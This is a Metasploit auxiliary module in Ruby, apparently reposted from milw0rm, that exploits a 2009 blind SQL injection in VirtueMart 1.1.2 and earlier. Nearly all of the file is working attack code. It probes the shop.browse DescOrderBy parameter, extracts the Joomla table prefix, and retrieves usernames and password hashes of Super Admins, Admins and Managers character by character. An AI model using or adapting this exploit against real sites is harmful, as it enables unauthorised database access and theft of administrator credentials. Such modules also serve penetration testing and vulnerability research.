

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'VirtueMart <= 1.1.2 Sql Injection Exploit',
			'Description'    => %q{
					This module exploits VirtueMart <= 1.1.2 Blind Sql Injection vulnerability.
			},
			'Author'         => 'Janek Vind "waraxe" <come2waraxe[at]yahoo.com>',
			'License'        => MSF_LICENSE,
			'Version'        => '1.0',
			'References'     =>
				[
					['BID', '33480'],
					['URL', 'http://www.waraxe.us/advisory-71.html'],
					['URL', 'http://secunia.com/advisories/33671/']
				],
			'DisclosureDate' => 'Jan 24 2009'))

			register_options(
				[
					OptString.new('URI', [false, 'Path to VirtueMart', '']),
					OptInt.new('TARGETID', [false, 'Target ID (optional)']),
					OptString.new('PREFIX', [false, 'Database table prefix (optional)', 'jos_']),
					OptBool.new('ALLSA', [ false,  'Fetch all Super Admins', true]),
					OptBool.new('ALLA', [ false,  'Fetch all Admins', false]),
					OptBool.new('ALLM', [ false,  'Fetch all Managers', false]),
				], self.class)
			
	end

	def run

		@marker = 'name="addtocart"'
		@target_uri = '/' + datastore['URI'] + '/'
		@target_uri = @target_uri.gsub(/\/{2,}/, '/')
		@target_id = datastore['TARGETID'] 
		@target_prefix = datastore['PREFIX']
		@requests = @fetched = 0
		time_start = Time.now.to_i
		
		# debug_level=2 - more debug messages, 1 - less
		@debug_level = 1
		
		if(!pre_test)
			print_error('Exploit failed in pre-test phase')
			return
		end

		if(datastore['ALLSA'])
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end
		
		if(datastore['ALLA'])
			if(!get_users(2))
				print_error('Exploit failed fetching Admins')
				return
			end
		end
		
		if(datastore['ALLM'])
			if(!get_users(3))
				print_error('Exploit failed fetching Managers')
				return
			end
		end
		
		if((@target_id < 1) and (!datastore['ALLSA']) and (!datastore['ALLA']) and (!datastore['ALLM']))
			print_status('Target ID or group(s) not specified, fetching Super Admins as default')
			if(!get_users(1))
				print_error('Exploit failed fetching Super Admins')
				return
			end
		end
		
		if(@target_id > 1)
			if(!get_user())
				print_error("Exploit failed fetching user with ID=#{@target_id}")
				return
			end
		end
		
		time_spent = Time.now.to_i - time_start
		
		print_status("Exploitation results:")
		print_status("Got data for  #{@fetched} users")
		print_status("Total time spent: #{time_spent} seconds")
		print_status("HTTP requests needed: #{@requests}")
		
	end
	############################################################
	def make_post(post_data)
		
		timeout = 30
		
		begin	
		
			res = send_request_cgi({
				'uri'     => @target_uri,
				'method'  => 'POST',
				'data'  => post_data,
			}, timeout)
			
			if(res and res.body)
				@requests += 1
				return res.body
			else
				print_error('No response from server')
				return nil
			end
			
		rescue ::Exception
			print_error("Error: #{$!.class} #{$!}")
			return nil
		end
	end
	############################################################
	def test_condition(condition)
		
		max_tries = 10

		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,"
		post_data << "IF(#{condition},1,(SELECT 1 UNION ALL SELECT 1))"
		
		1.upto(max_tries) do |i|
			
			buf = make_post(post_data)
			
			if(buf)
				return buf.include?(@marker)
			else
				print_status("Sleeping #{i} seconds")
				sleep(i)
				print_status("Awake, retry ##{i}")
			end
		end
		
		return nil
	end
	############################################################
	def pre_test
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 1 failed - VirtueMart not detected')
			return false
		else
			print_status('Pre-test 1 passed - VirtueMart detected')
		end

		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,'
		buf = make_post(post_data) or return false

		if(buf.include?(@marker))
			print_error('Pre-test 2 failed - target is patched?')
			return false
		else
			print_status('Pre-test 2 passed - injection detected')
		end
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,(SELECT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('Pre-test 3 failed - subselects not supported?')
			return false
		else
			print_status('Pre-test 3 passed - subselects supported')
		end
		
		if(@target_prefix == '')
			print_status('Prefix not provided, trying to fetch')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		end
		
		post_data  = "page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=," +
			"(SELECT 1 FROM #{@target_prefix}users LIMIT 1)"
			
		buf = make_post(post_data) or return false
		
		if(!buf.include?(@marker))
			print_error('Pre-test 4 failed - wrong prefix?')
			print_status('Trying to fetch valid prefix')
			@target_prefix = get_prefix
			if(!@target_prefix)
				print_error('Prefix fetch failed')
				return false
			else
				print_status("Prefix fetched: #{@target_prefix}")
				return true
			end
		else
			print_status('Pre-test 4 passed - prefix OK')
		end
		
		return true
	end
	############################################################
	def get_char(pattern, min, max)
	
		num = get_num(pattern, min, max) or return nil
		
		return num.chr
		
	end
	############################################################
	def get_hash(group = nil, u_pos = nil)
		
		hash = ''
	
		if(group and u_pos)
			pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
		else
			pattern = "(SELECT LENGTH(password)FROM #{@target_prefix}users WHERE id=#{@target_id})"
		end
		
		p_len = get_num(pattern, 32, 100) or return nil
		
		print_status("Got hash length: #{p_len.to_s}")
		
		1.upto(p_len) do |pos|
			print_status("Finding hash char pos #{pos}") if @debug_level > 0
				
			if(group and u_pos)
				pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
			else
				pattern = "(SELECT ORD(SUBSTR(password,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
			end
			
			c = get_char(pattern, 32, 128) or return nil

			hash << c
			print_status("Known: #{hash}") if @debug_level > 0

		end
		
		return hash
		
	end
	############################################################
	def get_prefix
		
		prefix = ''
		
		post_data  = 'page=shop.browse&option=com_virtuemart&vmcchk=1&DescOrderBy=,' +
			'(SELECT 1 FROM INFORMATION_SCHEMA.TABLES LIMIT 1)'
		buf = make_post(post_data) or return false

		if(!buf.include?(@marker))
			print_error('INFORMATION_SCHEMA not found - mysql < 5.0?')
			return false
		else
			print_status('INFORMATION_SCHEMA detected, proceed')
		end
		
		pattern = '(SELECT LENGTH(table_name)FROM INFORMATION_SCHEMA.TABLES' +
			' WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)'
		 
		p_len = get_num(pattern, 5, 100) or return nil
		p_len -= 10
		
		if(p_len < 0)
			print_error("Invalid prefix length: #{p_len.to_s}")
			return false
		elsif(p_len == 0)
			print_status('Prefix seems to be empty')
			@target_prefix = ''
			return true
		else
			print_status("Got prefix length: #{p_len.to_s}")
		end
		
		1.upto(p_len) do |pos|
			print_status("Finding prefix char pos #{pos}") if @debug_level > 0
			
			pattern = "(SELECT ORD(SUBSTR(table_name,#{pos},1))FROM INFORMATION_SCHEMA.TABLES" +
			" WHERE table_name LIKE 0x25766d5f70726f64756374 ORDER BY table_name ASC LIMIT 0,1)"
			
			c = get_char(pattern, 32, 128) or return nil

			prefix << c
			print_status("Known: #{prefix}") if @debug_level > 0

		end
		
		return prefix
	end
	############################################################
	def get_num(pattern, min = 1, max = 100)
		
		curr = 0;

		while(1)
			
			area = max - min
			if(area < 2 )
				post_data = "#{pattern}=#{max}"
				eq = test_condition(post_data)
			
				if(eq == nil)
					return nil
				elsif(eq)
					len = max
				else
					len = min
				end
				
				break
			end
		
			half = area / 2
			curr = min + half
		
			post_data = "#{pattern}>#{curr}"
		
			bigger = test_condition(post_data)
		
			if(bigger == nil)
				return nil
			elsif(bigger)
				min = curr
			else
				max = curr
			end

			print_status("Current: #{min}-#{max}") if @debug_level > 1
			
		end
		
		return len
		
	end
	############################################################
	def get_username(group = nil, u_pos = nil)
		
		username = ''
		
		if(group and u_pos)
			pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
		else
			pattern = "(SELECT LENGTH(username)FROM #{@target_prefix}users WHERE id=#{@target_id})"
		end
		
		u_len = get_num(pattern, 1, 150) or return nil
		
		print_status("Got username length: #{u_len.to_s}")
		
		1.upto(u_len) do |pos|
			print_status("Finding username char pos #{pos}") if @debug_level > 0
			
			if(group and u_pos)
				pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE usertype=#{group} ORDER BY id ASC LIMIT #{u_pos},1)"
			else
				pattern = "(SELECT ORD(SUBSTR(username,#{pos},1))FROM #{@target_prefix}users WHERE id=#{@target_id})"
			end
				
			c = get_char(pattern, 32, 128) or return nil

			username << c
			print_status("Known: #{username}") if @debug_level > 0
			
		end
		
		return username
		
	end
	############################################################
	def get_users(group)
		
		if(group == 1)
			usertype = '0x53757065722041646d696e6973747261746f72'
			print_status('Starting to fetch all Super Admins')
		elsif(group == 2)
			usertype = '0x41646d696e6973747261746f72'
			print_status('Starting to fetch all Admins')
		else
			usertype = '0x4d616e61676572'
			print_status('Starting to fetch all Managers')
		end
		
		pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE usertype=#{usertype})"

		u_cnt = get_num(pattern, 0, 100) or return nil
		
		print_status("Targets to fetch: #{u_cnt.to_s}")
		
		0.upto(u_cnt - 1) do |pos|
			
			print_status("Fetching user pos #{pos}")
			
			username = get_username(usertype, pos) or return nil
			hash = get_hash(usertype, pos) or return nil
			@fetched += 1
			
			print_status(
				"Got user data:" +
				"\n==============================\n" +
				"Username: #{username}\n" +
				"Hash: #{hash}" +
				"\n=============================="
			)
			
		end
		
		return true
	end
	############################################################
	def get_user
		
		print_status("Testing user ID=#{@target_id}")
		pattern = "(SELECT COUNT(username)FROM #{@target_prefix}users WHERE ID=#{@target_id})"
		u_cnt = get_num(pattern, 0, 100) or return nil
		
		if(u_cnt != 1)
			print_error("No user with ID=#{@target_id}")
			return true
		end
		
		print_status("Working with user ID=#{@target_id}")
		
		username = get_username or return nil
		hash = get_hash or return nil
		@fetched += 1
		
		print_status(
			"Got user data:" +
			"\n==============================\n" +
			"Username: #{username}\n" +
			"Hash: #{hash}" +
			"\n=============================="
		)
			
		return true
	end
	############################################################	
end

# milw0rm.com [2009-03-31]
